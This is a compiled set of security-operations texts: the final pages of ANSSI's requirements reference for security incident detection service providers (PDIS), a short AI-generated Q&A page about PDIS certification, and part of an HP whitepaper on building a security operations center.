the service provider’s proof of approval ; - in accordance with the approval process for trust service providers [PROCESS_QUALIF] , the commissioning entity may file a claim against the service provider to ANSSI; - in accordance with the approval process for trust service providers [PROCESS_QUALIF] , the commissioning entity authorises ANSSI and the approval entity to audit the information system of the servi ce provider’s security incident detection service. - in accordance with this reference document (see requirement IV.3.4 .e), the commissioning entity authorises an appro ved audit service provider for information system security (PASSI) to audit the information system of the service provider’s security incident detection service as part of the audit plan. IV.5.3.10. Service level a) The service agreement must: - define the operational and strategic indicators used to measure the service level of the service; - define the operating hours for the security incident detection service; - stipulate that the service provider shall hold operational and strategic committee meetings in the presence of t he commissioning entity; - specify the objectives and the frequency of these committee meetings; - identify, for the service provider and the commissioning entity, the level of human resources dedicated to managing the detection rules and, in particular, thei r creation and modification; - define the frequency with which the service provider transmits the detection rule status report to the commissioning entity; - stipulate that the service provider shall make a support service available to the commissioning entity and the hours during which this support service will be in operation; - specify the type of support service (phone, email, etc.), its availability, and the level of sensitivity or classification of information that can be exchanged; - specify the level of co mpetence of the employees who are on call, in accordance with the needs of the commissioning entity and in the event that on -call services are put in place. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 36/42 Annex 1 Documentary references I. Codes, laws and regulations Reference Document [LOI_IL] Law of 6 January 1 978 on information technology, data files and civil liberties. Available on http://www.legifrance.gouv.fr . [CP_ART_314 -1] Article 334 -1 of the French penal code on the abuse of trust. [CP_ART_226 -1] Article 2 26-1 of the French penal code on the invasion of privacy. [CP_ART_226 -13] Article 226 -13 of the French penal code concerning professional secrecy. [CP_ART_226 -15] Article 226 -15 of the French penal code relating to confidentiality of correspondence. [CP_ART_323 -1] Article 323 -1 of the French penal code on access or fraudulent maintenance in an automated data processing system. [CSP_ART_L1110 -4] Article L1110 -4 of the French public health code relating to medical confidentiality. [IGI_1300] French inter ministerial general instruction n° 1300 on the protection of the secrets of national defence, n°1300 /SGDSN/PSE/PSD, 30 November 2011. Available on http://www.legifrance.gouv.fr . [II_910] French interministeri al instruction on controlled items of information system security (ACSSI), n°910/SGDSN/ANSSI, 22 October 2013. Available on http://www.legifrance.gouv.fr . [II_901] Interministerial instruction on the protectio n of sensitive information systems, n°901/SGDSN/ANSSI, 28 January 2015. Available on http://www.legifrance.gouv.fr . II. Standards and technical documents Reference Document [PDIS_LPM] Additional requirements app licable to service providers of security incident detection services under law n ° 2013 -1168 of 18 December 2013. This document is marked Diffusion Restreinte and can be obtained from ANSSI. [CRYPTO _B1] Rules and recommendations concerning the choice and s ize parameters of cryptographic mechanisms, ANSSI, version 2.03. Available on http://www.ssi.gouv.fr . [CRYPTO _B3] Rules and recommendations concerning authentication mechanisms, ANSSI. Available on http://www.ssi.gouv.fr . [HOMOLOGATION] Security accreditation in nine simple steps, ANSSI, current version. Available on http://www.ssi.gouv.fr . [HYGIENE] Guide to Information Technology Hygiene , ANSSI, current version. Available on http://www.ssi.gouv.fr . [NT_JOURNAL] Security recommendations for the implementation of a logging system, technical note n° DAT -NT-012/ANSSI/SDE/NP of 2 December 2013, ANSSI. Available on http://www.ssi.gouv.fr . [NT_ADMIN] Recommendations on the secure administration of information systems, technical note n° No DAT -NT-22/ANSSI/SDE/NP of 20 February 2015, ANSSI Available on http://www.ssi.gouv.fr . Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 37/42 Reference Document [ETSI_ISG_ISI] ETSI ISI Indicator standards (ISI 001 -1 and Guides 001 -2), ISI Event Model (ISI-002), ISI Maturity (ISI -003), ISI Event Detection (ISI -004) – 5 standards on security incident detection. [ISO9 001] International standard ISO 9001:2008: Quality management systems – Requirements. Available on http://www.iso.org . [ISO27000] International standard ISO/IEC 27000:2014: Information technology – Security techniques – Information security management systems – Overview and vocabulary. Available on http://www.iso.org . [ISO27001] International standard ISO/IEC 27001:2013: Information technology – Security techniques – Information securi ty management systems – Requirements. Available on http://www.iso.org . [ISO27002] International standard ISO/IEC 27002:2013: Information technology – Security techniques – Code of best practice for information security m anagement. Available on http://www.iso.org . [ISO27005] International standard ISO/IEC 27005:2011 – Information technology – Security techniques – Managing risks related to information security. Available on http://www.iso.org . [ISO27035] International standard ISO/IEC 27035:2011: Information technology – Security techniques – Managing information security incidents. Available on http://www.iso.org . III. Other documentary references Reference Document [STRAT_ NUM ] National digital security strategy, October 2015 . Available on http://www.ssi.gouv.fr [PROCESS_QUALIF] Approval process for a trust service provider, curr ent version. Available on http://www.ssi.gouv.fr [GUIDE_ACHAT] Buyer’s guide to security products and qualified trust services, current version. Available on http://www.ssi.gouv.fr Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 38/42 Annex 2 Tasks and skills of the service provider’s employees I. Operation I.1. Tasks - identifying and qualifying the security incidents; - supporting the investigation teams in handling the incidents. I.2. Skills - knowledge of protocols and network architectures; - log analysis experience (systems or applications); - knowledge of information system s secur ity; - network traffic analysis skills ; - detection service devices knowledge , including searching for events in the event storage systems. II. Administration II.1. Tasks - manag ing the devices of the security incident detection service; - maintaining the devices of the sec urity detection service in operational condition s; - updating the devices of the security incident detection service. II.2. Skills - security incident detection service devices knowledge , particularly related to event, incident and reporting management. III. Detection III.1. Tasks - designing and maintaining an architecture for the detection service; - integrating or developing and maintaining the components of the detection service; - integrating or developing and maintaining new correlation engines. III.2. Skills - operation of probes and ev ent log correlation tools knowledge ; - mastery of common protocols for the operation of the services; - good knowledge of the most common applications and their security (web servers, mail servers , database servers , DNS servers , proxies, firewalls, etc.); - good knowledge of the global network architecture and the security of its components (routers, switches, etc.). Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 39/42 IV. Collection and log analysis IV.1. Tasks - contributing to defining and reviewing the collection strategy; - contributing to defining the commissioning entity’ s logging policy by type of equipment (operating systems, infrastructure services, network equipment, security equipment, etc.); - providing support to administrators in the deployment of detection systems (tests, maintaining the systems in operational condi tion, support for analysts using these systems, etc.); - participating in the development and maintenance of event correlation mechanisms and rules. IV.2. Skills - in-depth knowledge of system, network and applications event log analysis ; - knowledge of event log cor relation tools and techniques ; - knowledge of log analysis or security monitoring systems (security information and event management – SIEM). V. Detection rule management V.1. Tasks - expanding internal knowledge bases with information on threats, vulnerabilities and malicious code; - creating , improving and d isabl ing detection rules; - ensuring the continuous improvement of the reporting process. V.2. Skills - knowledge of vulnerabilities; - knowledge of command and control protocols; - knowledge of operational modes of attacks and malicious codes; - expertise in detection rule s development tools. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 40/42 Annex 3 Recommendations for commissioning entities This annex lists ANSSI’s recommendations for commissioning entities in relation to security incident detection services. I. Approval a) The commissioning entity may, when it is an administrative authority or an operator of vital importance, ask ANSSI to participate in defining the specifications covered by a tender or contract. b) It is recommended that the commissioning entity choose its service provider fro m among those listed in the catalogue of approved service providers published on ANSSI’s website : the approval of a security incident detection service provider demonstrates its compliance with all of the requirements of this reference document. c) To receive the benefits of an approved service, i.e. one that complies with all of the requirements of this reference document, the commissioning entity must: - select the service provider from among those listed in the catalogue of approved service providers publishe d on ANSSI’s website; - require the service provider to stipulate in the service agreement that the service provided is an approved service. Approved service providers retain the ability to provide non -approved services. Using a service provider from among t hose listed in the catalogue of approved service providers is therefore a necessary condition but not a sufficient one for receiving an a pprov ed service: the commissioning entity must also require an a pprov ed service. d) It is recommended that the commissioni ng entity use the buyer’s guide to security products and trust services [GUIDE_ACHAT] , the purpose of which is to assist commissioning entities in making buying decisions during the tender process. e) It is recommended that the commiss ioning entity ask the service provider to submit its proof of approval . This certificate identifies, in particular, the activities for which the service provider is approv ed and the expiry date of the a pproval . f) In accordance with the a pproval process for t rust service providers [PROCESS_QUALIF] , the commissioning entity may file a complaint with ANSSI against an approved service provider if it considers that the service provider has not met one or m ore of the requirements of this reference document in providing an approved service. If, following investigation of the complaint, it is determined that the service provider has not complied with one or more of the requirements of this reference document i n providing an approved service, and depending on the severity of such breach, the service provider’s approval may be suspended or revoked, or the scope of its approval may be reduced. g) Approval of a service provider does not attest to its capacity to acces s or hold classified information [IGI_1300] and is therefore not a substitute for a clearance. It is possible for a commissioning entity to use an approved service provider after ensuring that it has adequate clearances if necessary. h) Approval of a service provider does not attest to its capacity to access or hold controlled items of information system security (ACSSI ) [II_910] . It is possible for a commissioning entity to use an approve d service provider after ensuring that the latter has, at a minimum , for service providers with ACSSI clearance, adequate ACSSI access Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 41/42 clearance (DACSSI), or, for service providers without ACSSI clearance, certificates of ACSSI manipulation training. II. Befor e the start of the service a) It is recommended that the commissioning entity appoint a person to serve as an internal operational point of contact responsible for being the main point of contact with the service provider with respect to the operational funct ioning of the security incident detection service and for monitoring the detected security incidents. b) It is recommended that the commissioning entity retain an approved audit service provider for information system security (PASSI)13 to draw up the risk ass essment for establishing the list of feared security incidents and associated impacts (see requirement IV.2.1 .a) from which the collection, analysis and reporting strategies are developed. c) It is rec ommended that the commissioning entity update its risk assessment each time that there is a change in its infrastructure or its services, and that it communicate these changes and their consequences to the service provider. d) It is recommended that the comm issioning entity identify in the service agreement any specific legal and regulatory requirements to which it is subject, including those related to its sector of activity. e) It is recommended that the commissioning entity require to the service provider tha t the frequency of the operational committee meetings (see section IV.4.3.1 ), which must be set out in the service agreement, be once a month. f) It is recommended that the commissioning entity require to the service provider that the frequency of the strategic committee meetings (see section IV.4.3.2 ), which must be set out in the service agreement, be twice a year. g) It is recommended that the commissioning entity require to the service provider that the frequency of the detection rule status updates (see section IV.2.1 .i), which must be set out in the service agreement, be once a week. h) It is recommended that the commissioning enti ty choose the strategic and operational indicators which must be set out in the service agreement and which make it possible to measure the service level of the provided service among the indicators suggested by [ETSI_ISG_ISI] . i) It is recommended that the commissioning entity use [ETSI_ISG_ISI] to define the format and content of the security incident tickets. j) It is recommended that the commissionin g entity require the service provider to include in the collection strategy (see requirement IV.2.2 .a) the deployment of probes at each of the interconnections of its information sys tem, and, in particular, those interconnections with: - the Internet; - third -party information systems (partners, subcontractors, etc.); - the commissioning entity’s other information systems with a lower or more vulnerable security classification or sensitivit y level. k) It is recommended that probes deployed at the interconnections of the commissioning entity’s information system be approved by ANSSI at the appropriate level and used in accordance with their technical instructions for use. l) It is recommended that the commissioning entity: 13 The catalogue of qualified audit service providers for information system security (PASSI) is published on the ANSSI website. Security incident detection service provider – requirements reference document Version Date Distribution criteria Page 1.0 06/10/2015 PUBLIC 42/42 - synchronise the collection sources hosted on its information system with a single time source; - develop and implement an event logging policy. To do this, the commissioning entity may use the ANSSI technical note devoted to the implementation of a logging system [NT_JOURNAL] and use the services of the security incident detection service provider (PDIS) or an approved audit service provider for information system security (PASSI). m) It is recommended that the commissioning entity use workstations hosted on a dedicated information system that is not interconnected with the information system that is the subject of the service to access the Web portal (see requirement IV.2.3 .h) made available by the service provider for managing the security incident tickets. The purpose of this recommendation is that, in the event that the commissioning entity’s information system that is the subj ect of the service is compromised, the attacker does not have access to security incident tickets enabling it to know whether it has been detected. n) It is recommended that the commissioning entity put in place a crisis management process in case of the det ection of a major security incident within its information system. o) It is recommended that the commissioning entity require the service provider to integrate into the reporting strategy (see requirement IV.2.3 .e) specific reports in the event that major security incidents within its information system are detected. III. During the provision of the service a) It is recommended that the commissioning entity regularly transmit to the service provider, throughout the whole of the period that the service is provided, all of the information needed for the service provider to create new detection rules specific to the commissioning entity’s needs. To this end, the commissioning entity may, in particular, submit the r esults of tests for vulnerabilities and intrusions conducted on its information system. b) It is recommended that the commissioning entity inform the service provider of any evolution of its information system that could impact the effectiveness of the securi ty incident detection service. c) It is recommended that the commissioning entity put in place a change management process enabling it to continuously inform the service provider of any changes to its supervised information system (configuration, settings, so ftware versions, etc.). d) It is recommended that the commissioning entity use an approved security incident response service provider (PRIS)14 in the event of a suspected or confirmed security incident. 14 The catalogue of accredited security incident response service providers (PRIS) is published on the ANSSI website. --- ## Source: https://montance.com/questions.php?id=93 [![pdf](content/images/icons/pdf.svg) ANSSI - French Regulation for SOC - pdis referentiel v1.0 en.pdf](https://drive.google.com/file/d/0B9l-G6EuipZgUjVWMUZLM2Y0UTQ/view?usp=sharing) ANSSI French Regulation For SOC PDIS Referentiel V1.0 En Requirements for PDIS certification under French critical infrastructure regulation. This page contains AI generated content. Errors or omissions may be present. Use human level critical thinking. * Q: What is the primary objective of the PDIS certification? A: To verify that a service provider has the capability to detect security incidents affecting critical information systems (CII) in compliance with French law. * Q: What does the acronym 'PDIS' stand for? A: Prestataires de Dction des Incidents de SritSecurity Incident Detection Service Providers). * Q: What are the two main types of data that a PDIS is expected to collect? A: Technical logs (from systems, networks, applications) and Security alerts (from detection probes). * Q: What is the maximum duration for retaining technical logs according to the PDIS requirements? A: Typically 1 year (or as defined by the specific service level agreement, but bounded by regulatory limits). * Q: What specific role must be separated from the 'Analyst' role in a PDIS? A: The 'Administrator' role of the detection service itself, to prevent tampering with evidence. * Q: What is the 'Qualification' process mentioned? A: A formal evaluation by a certified audit provider (LSTI, etc.) to ensure the PDIS meets all ANSSI requirements. * Q: Does the PDIS regulation apply to all companies in France? A: No, it is primarily targeted at Operators of Vital Importance (OIV) and Critical Information Infrastructure (CII). * Q: What physical security requirement is mandated for the SOC premises? A: Strict access control, video surveillance, and separation of the SOC zone from other business areas. * Q: What is the requirement regarding 'Data Sovereignty' for PDIS? A: Data collected from critical systems must be stored and processed within France or a trusted jurisdiction. * Q: How must a PDIS handle 'False Positives'? A: They must have a documented process for tuning detection rules to minimize false positives while maintaining detection efficacy. ## Ask a question Have a doubt or need clarification? I’m here to help. Share your question, and I’ll get back to you with the guidance you need regarding the course. Submit ![](content/images/icons/form-success.svg) ## Thank you! I have received your message and I shall get back to you shortly. --- ## Source: https://drive.google.com/file/d/0B9l-G6EuipZgeDR0eXk1SGFBVEk/view?usp=sharing **[PDF Extracted from Google Drive: https://drive.google.com/file/d/0B9l-G6EuipZgeDR0eXk1SGFBVEk/view?usp=sharing]** BUILDING A SUCCESSFUL SECURITY OPERATIONS CENTER This paper outlines industry best practices for building and maturing a security operations center (SOC). For those organizations planning to build a SOC or those organizations hoping to improve their existing SOC this paper will outline the typical mission parameters, the business case, people considerations, processes and procedures, as well as, the technology involved. HP Enterprise Security Business Whitepaper 2Introduction In order to prevent the myriad of modern attacks, comply with government and industry regulations, monitor deployed technology solutions, and verify the endless human interactions with technology, organizations turn to industry-leading security technology. They may go to IBM Internet Security Systems for their network intrusion prevention systems (IPS), Cisco for their firewall solutions, and McAfee for host-based protection. This heterogeneous approach to selecting security solutions provides organizations the best-of-breed technologies and offers inherent security by not relying on any single vendor or security platform. The combination of technologies does, however, present a large challenge - there is no inherent way to normalize, aggregate, and correlate the security events across technologies. Further, one team may support the firewalls, another may support the network IPS devices, and yet another may support the host-based security tools. This leads to security monitoring that is performed using different tools and by different teams. Piecing together the details of an attack in real-time becomes incredibly difficult and even forensic analysis after an attack is slowed by the need to combine event streams. In reality, building and maintaining a strong security posture necessitates a centralized effort to monitor, analyze, and respond to security events across technologies as quickly as possible. To meet this need, many organizations turn to Managed Security Services Providers (MSSPs) to outsource the bulk of security monitoring and testing. MSSPs offer a number of benefits because they can: • Monitor security events around-the-clock and provide in-depth information security expertise. • Spot patterns across a number of customers to provide advanced warning on new threats. • Provide services to customers that do not have dedicated information security staff. However, MSSPs also present a number of disadvantages. Namely, MSSPs do not: • Have an in-depth knowledge of the customer’s policies, procedures, or overall IT environment. • Offer dedicated staff for every customer. Only large organizations that spend the most with the MSSP generally receive dedicated support. • Offer customized services, processes, or procedures for the customer needs. MSSPs strive to standardize services in order to gain economies of scale in providing security services to many customers. • Store security data only at the customer premise. Security data will be transmitted and stored at MSSP locations that may or may not be in the home country.Weighing the considerations, many IT groups decide to build their own Security Operations Center (SOC) to correlate events and centralize the security monitoring, analysis, and response within a single team. For these organizations, the MSSP’s disadvantages outweigh its benefits. There are unique business requirements that require a dedicated SOC, or there may be cost drivers that dictate the need for an in-house SOC. Building an in-house SOC does, however, present its own set of challenges and many groups struggle on how to best start. This paper will offer a clear understanding of how to build your own SOC and balance the triad of IT project components – people, processes, and technology - to jumpstart your efforts. Mission and Business Case Prior to building a security operations center, organizations need to take some time to plan. All too often this planning focuses only on the people, process, and technology components of the project and ignores outlining the fundamental drivers for why the SOC is needed and what business problems the SOC will solve. Prior to developing the project plan for building a SOC, project sponsors need to take a hard look at the overall mission and business case for the SOC. Mission All successful teams need a unifying sense of purpose to help motivate team members, prioritize work, and respond effectively to the changing needs of the business. Time spent in this phase of planning will benefit the SOC long-term. Prior to building a SOC, organizations must answer the following questions: • What needs will the SOC meet for the organization? • What are the specific tasks assigned to the SOC? (e.g., detecting attacks from the Internet, monitoring PCI compliance, detecting insider abuse on the financial systems, incident response and forensic analysis, vulnerability assessments, etc.) • Who are the consumers of the information collected and analyzed by the SOC? What requirements do they hope to impose on the SOC? • Who is the ultimate project sponsor for the SOC? Who will “sell” the SOC to the rest of the organization? What requirements will he or she levy on the SOC? • What types of security events will eventually be fed into the SOC for monitoring? 3Business Case There are very few organizations that are going to approve the build-out of a SOC without a clear outline of the costs and strategies to recover those costs. In outlining the costs of the SOC, the following items will help start the discussion: • Facilities: Furniture, computer equipment, special badging requirements, power, HVAC, telephony • SOC Labor: Security analysts, shift leads, SOC managers • Supporting Labor: Network support, system support, database support, telephony support, security device management (if not performed by the SOC) • Education and Training: Classes, conferences, continuing education • Threat intelligence subscriptions: Up-to-the-minute information on the latest threats • Monitoring technology: Hardware, software, storage, and implementation services • Additional technologies: Problem and change management, email, knowledge sharing Recovering these costs is a much tougher problem to solve. The following list outlines some common approaches in justifying the expense of a SOC: • Cost avoidance: Building the SOC will cost far less than not detecting, preventing, and responding to attacks. • Cost efficiencies: Chances are that many of the SOC processes or technologies can help automate functions already taking place within the organization. By accepting a new data feed and producing automated reporting, a SOC can often save the organization money by reducing manual effort. • Cost sharing: In many cases, other groups are currently tasked with the responsibilities outlined for the future SOC. Are those groups willing to “outsource” these responsibilities to the SOC? Having other organizations help to foot the bill can minimize the overall impact to all. • Revenue /Cost Recovery: Can SOC services be offered to customers – either internal or external? There is more work in determining separation of information among customers, pricing models, and other business aspects, but actual revenue (or cost recovery in the case of internal customers) is a powerful argument where SOC services can be leveraged to perform security services for other organizations. People Once the SOC mission and business case are clearly outlined, project teams can then focus on the traditional IT project components of people, process, and technology. While no portion of the triad is more important than the other, organizations tend to fail more often in attracting and retaining the key people necessary to operate a SOC effectively. Selection The most common error in implementing an internal SOC is attracting people with the right skills. Companies tend to start with too low a skill set for the analyst. The SOC analyst is the infantry man of the information security community engaged in daily trench warfare with a tough and innovative opponent. This is an opponent who understands the rigors of monitoring a console for malicious events that are masked by thousands of nuisance events. The effective SOC analyst needs a good deal of trouble-shooting patience, the ability to research problems, and an unflappable ability to communicate during stressful times. It takes more than entry level IT skills to succeed. While the exceptional candidate can go from a help- desk technician to being an effective SOC analyst, a better initial capability is found in system administration, desktop support, and network operations personnel. Personnel experienced in network, server, and desktop support tend to have the troubleshooting background to excel quickly in the typical analyst tasks involving the depths of the TCP/IP protocol suite and various intrusion detection signatures. Career Progression Monitoring and responding to an endless supply of security events is enough to tire even the most eager information security professional. As such, the typical tenure of a SOC analyst is between one to three years. This makes it imperative to continually identify candidates for the next generation of analysts and plan the career progression for existing analysts. The SOC Manager should develop strong relationships with other IT groups to help identify those candidates wanting to start a new information security career. Additionally, the SOC Manager should look toward Incident Response teams, Audit, and other advanced information security groups to help offer SOC personnel a career path after their SOC tenure. Training No SOC analyst can be effective without appropriate training; luckily, there are very good options for building an effective training program. When crafting training plans, SOC managers should include both formal training on standard information security skills and on-the-job training (OJT) to maximize the analysts’ effectiveness within the organization. Formal training should include the SANS (System Administration and Network Security) “Intrusion Detection in Depth” training module and the GCIA (GIAC Certified Intrusion Analyst) certification. This is the industry standard in training analysts in the fundamentals of TCP/IP, TCP/IP monitoring tools, and skills associated with advanced intrusion analysis. For those organizations standardizing their Security Information and Event Management (SIEM) program around ArcSight, the ArcSight Certified Security Analyst (ACSA) training is a must-have. ACSA trains analysts to properly identify, correlate, and filter critical security events using the ESM product. 4On-the-job training programs should provide an overview of important information security concepts, training on specific intrusion detection tools in use, analytical processes and procedures, and effective communication techniques. The SOC analyst will be required to effectively communicate and brief all levels of engineers and senior management during times of extreme stress, thus training in managing combative communication is invaluable. This training should also include the hierarchy of communication methods. Learning when to page, call, e-mail or assign a ticket is a critical skill. Additionally, it is important that any analyst learn to communicate in concise well-written papers and e-mails. SOC managers should create a program that has aspiring analysts writing analytical papers and then presenting their findings to their peers to hone written and verbal communication skills. Staffing Plans Staffing plans will evolve directly out of the needs of the mission. Is the SOC a virtual entity where events are collected, analyzed, alerted, and reported? Must the SOC have full-time personnel to monitor consoles, analyze, alert, and report? Or, does the SOC need full staffing twenty-four hours a day, 7 days a week, all year round? These mission needs will dictate the staffing models that must be implemented. Despite the particulars of any giving staffing models, there are some guidelines to follow: • One SOC analyst should never be alone in manning a shift. There are a myriad of safety and performance issues that can result. • Each shift and role within the SOC should have clearly-defined responsibilities and deliverables. • There should be no ambiguity in what is expected from each analyst at any given time during a SOC shift. • There needs to be a clear “hand-off” between shifts. Each shift should keep a formal log of events documenting those issues that need additional or continual attention. • There is a significant issue that always shows up on any night shift - the analysts feel ignored and uninformed. The SOC manager must work hard to ensure he/she constantly communicates with the night shift and even schedules time to work alongside. • In order to staff a SOC 24x7x365, ten SOC Analysts are required. The shift schedule that best fits this staffing model is four twelve-hour shifts per week. Each analyst works three days on, four days off, followed by four days on, and three days off. This totals to 84 hours in two weeks. Additionally, two of the more experienced analysts (commonly referred to as Level-2 Analysts) work an 8x5 shift and are available to cover shifts for planned and unplanned absences. Figure 1 shows a sample schedule for a 24x7x365 shift schedule. DAILY SCHEDULE (8AM TO 8AM) Level 1 Analysts Night Shift Day Shifts 1 & 2 10AM to 10PM Night Shifts 3 & 4 10PM to 10AM Level 2 Analysts Day Shift 8AM to 5PM Night Shift 5PM to 2AM On-call Rotation Security Engineers Day Shift 8AM to 5PM On-call Rotation SOC Management Day Shift 8AM to 5PM On-call Rotation WEEKLY SCHEDULE SUN MON TUES WED THURS FRI SAT Level 1 Analysts (Week 1)Shift 1 (Days) Shift 2 (Days) Shift 3 (Nights) Shift 4 (Nights) Shift 3 Level 1 Analysts (Week 2)Shift 1 (Days) Shift 2 (Days) Shift 3 (Nights) Shift 4 (Nights) Shift 3 Level 2 AnalystsOn-call RotationBusiness WeekOn-call Rotation Security EngineersOn-call RotationBusiness WeekOn-call Rotation SOC ManagementOn-call RotationBusiness WeekOn-call Rotation Figure 1: Sample 24x7x365 SOC shift schedule 5Processes and Procedures SOC processes and procedures can act as a buffer between the people and technology. For example, new analysts will have very little idea how to start and it’s likely that existing staff will not have a good deal of dedicated time to help train. Well-documented processes and procedures can clearly guide the new analysts’ actions in those formative days. Additionally, the SOC technology may not have all the necessary features to accommodate a specific business need. Processes and procedures can pick up the slack by allowing people to follow guidelines to accomplish tasks manually. To achieve an effectively operating SOC, the associated processes and procedures must not only exist but also be mature. Maturity in process management is first achieved by repeatability and then by continuous process improvement. The Carnegie Mellon® Software Engineering Institute (SEI) Capability Maturity Model® Integration (CMMI) offers a great approach to continuous process improvement. From the SEI web site: Capability Maturity Model® Integration (CMMI) is a process improvement approach that provides organizations with the essential elements of effective processes. It can be used to guide process improvement across a project, division, or an entire organization. CMMI helps integrate traditionally separate organizational functions, set process improvement goals and priorities, provide guidance for quality processes, and provide a point of reference for appraising current processes. Because SOCs typically have a large number of processes and procedures, CMMI offers a great architecture to help organize, maintain, and improve this body of work. For most organizations, CMMI Level 3 is a sufficient goal. This maturity level ensures the processes and procedures are documented and subjected to demonstrable improvement over time. In practical terms, this means that any given analyst on any shift will execute a procedure in exactly the same manner. Additionally, if an analyst finds an error or change needed in a procedure they can make an on-the- spot correction and all subsequent analysts will benefit immediately from the improvement. Note: This type of dynamic process and procedure maintenance is best achieved by the use of a wiki collaboration environment (e.g., Twiki or MediaWiki). A wiki documentation system is a collection of web pages that allows visitors to contribute and modify content on the fly. While other knowledgebase tools can effectively store documentation and offer adequate version control, not many tools can keep up with the dynamic needs of constant documentation updates like a wiki. (Note: A common use for dual monitors at SOC operations pods is to use one for console monitoring and the other for procedural reference and research.) Process Hierarchy Generally speaking, a process defines who is responsible for doing which tasks, and a procedure tells them in detail how to accomplish the task. For a SOC, there are generally fourteen main processes and around thirty-six subordinate procedures as shown in Figure 2. These are arrayed in a pyramid to demonstrate that each process and accompanying procedures rely on the processes below them. Thus, metrics support process improvement, technology design and event management support intrusion analysis, etc. BC/DR BUSINESSTECHNOL OGICAL OPERATIONAL Comp liance MetricsProcess Im provemen tConfiguration Management System Administr ationT rainingDesign Event Management Daily Ope rationsANALYTICALIntrusion AnalysisIncident ManagementReportin gSubtle Ev ent Detectio n Figure 2: Process hierarchy that shows the various SOC processes and how they build on each other. 6SOC processes are broken up into the four main categories: • Business processes: Document all the administrative and management components that are required to effectively operate a SOC. • Technology processes: Maintain all the information relating to system administration, configuration management and conceptual design. • Operational processes: Document the mechanics of the daily operations, like shift schedules and turn-over procedures. • Analytical processes: Encompass all activities designed to detect and better understand malicious events. Organizational Relationships In addition to documenting the processes and procedures necessary to operate the SOC effectively, the SOC must have a large number of external relationships to effectively manage a crisis situation. These relationships can include internal teams, such as: Incident Response, Security Management, Security Engineering, Legal, Human Resources, Public Relations, and Lines of Business. Relationships will also include external teams like: CERT/CC, Information Sharing and Analysis Centers (ISAC), local and national law enforcement, supporting product vendors, etc. All the various points of contact (POCs) should be well- documented along with how and when the SOC should involve them in a developing situation. Detection vs. Analysis There is a key distinction to use in developing SOC processes and procedures. Detection time is defined as the period of time from when an event is identified within the SOC to when the analyst makes a decision as to how to act on it. For example, an analyst detects a SQL injection attack against a monitored web server. She will then conduct initial research using intelligence about the various threats to better understand whether the event points to a true attack. After research, the analyst will determine the priority of the event and annotate the event. For example, a misconfiguration of the security device, a false positive event due to a faulty web app, worthy of additional monitoring attention, worthy of additional research, or a confirmed intrusion attempt to be escalated. The analytical time frame begins once operational time is past and continues for up to 90 days. After initial research, an analyst will typically annotate an event for further analysis. At this point, the processes within the analytical time frame take over. More senior personnel will continue researching the events, notify the necessary constituents, report the event, and perform forensic analysis as needed. Analysis continues as trends and long-term patterns are analyzed by visual data mining and other advanced analytical techniques. This distinction in timeframes, as shown in Figure 3, will help to organize SOC processes and clearly delineate roles among the associated actions. Procedure Flow Once SOC processes have been defined, the organization needs to take the next step in outlining the Figure 3: Timeline for event detection through analysisDETECTION ANALYSISEVENT DETECTIONOPERATIONAL DECISION POINTTriage and initial research Threat intelligenc e infusionCallout an d notificationsReportin gAdvanced search / subtle event detectio nForensics / reverse enginee ring 7various procedures associated with each process. Each major area of process will have its own procedures. Here is an example from each area: Process Category SOC Process Procedure Procedure Description BUSINESS Metrics Reporting KPI Reporting Outlines the steps involved in reporting the key performance indicators (KPIs) of the SOC. TECHNOLOGY System  Administration User Access  ManagementDetails the steps necessary to request, approve, and grant access to the various SOC tools. OPERATIONAL Daily Operations Shift Turnover Outlines information to be shared and reviewed in shift logs to ensure no information gaps occur at shift change. ANALYTICAL Intrusion Analysis Threat Intelligence Enumerates the steps the level-2 analysts perform to gather up-to-date cyber intelligence information, analyze it for relevance, and produce a daily report for the analysts to read and leverage in their monitoring role. Figure 4 gives an example of the relationships among the subordinate procedures. The core procedures documented in the circle should be areas of particular emphasis as these define the basic actions to recognize and respond appropriately to detected malicious events. This also shows how all the supporting business and technology procedures support effective daily security operations. Data Visualization Report Analysis Periodic Reports Analyst CommentsIncident Summar yIncident ResponseCrisis Response Shift Sc hedul e & StaffingDaily Operations CallShift Turn-over Information Fusion Case Management Problem & ChangeCallouts Triage DocumentationMonitoring Use Cases Modeling Configuration Mgmt: Applications Configuration Mgmt: Architectur eComp liance Support Internal Comp lianceBusiness ContinuityDisaster RecoveryAccess ManagementProcess Maturity Informational MetricsAgile Methodolog y Infrastructure Performanc eKey Performanc e IndicatorsEvent Anal ysis Training Main tenanc eIncident Research Focused MonitoringCore Procedur es Operational TimeAnalytical Time Figure 4: SOC procedure flow 8Exercise A key item on the path to a fully mature SOC is to conduct a full-scale exercise that includes the range of process and procedures and leverages all the internal and external relationships that have been built. There are a number of challenges that can be introduced to see how the SOC functions under considerable organizational and situational stress, such as: Degradation of communications, unavailability of various SOC tools, and condensation of the available time. Once this exercise is complete all involved teams should conduct a group “lessons learned” review and address all identified weaknesses with more training or improved process and technology. Technology One of the challenges for security operations is identifying significant events from a large number of heterogeneous security devices and systems, correlating those event feeds, and reducing the overall event volume to a level manageable by the analytical staff. Analysts may have to log in to a number of management consoles to investigate events while the sheer volume of events (e.g., firewall logs) may make it impossible to perform sensible analysis. In order to automate event collection and correlation, SOCs must deploy a Security Information and Event Management (SIEM) solution. The ArcSight SIEM solution is the premier solution for monitoring, investigating, and responding to malicious events. ESM takes the step beyond storage and alerting to provide real-time monitoring and correlation, historical analysis, and the automated response necessary to manage the higher level of risk associated with doing business in today’s digital world. ArcSight delivers real- time event management and “forensics on the fly,” the ability to drill down from an alert to the source events that triggered the alert. Figure 5: Target analysis using ESM Interactive Discovery 9Data Aggregation ArcSight ESM can collect thousands of events per second, which are stored in a relational database for analysis, display, investigation, and reporting. Data can be collected and aggregated in an agentless fashion by using the ArcSight Manager and deploying various devices and concentrators throughout the network using ArcSight SmartConnectors. This results in several benefits: • Easy deployment to existing infrastructure without adding additional hardware or re-architecting existing devices and protocols. • Distributed data collection can utilize a variety of protocols (e.g., Checkpoint, Cisco SecureIDS, any SNMP, any syslog) while working from a central ArcSight ESM platform. 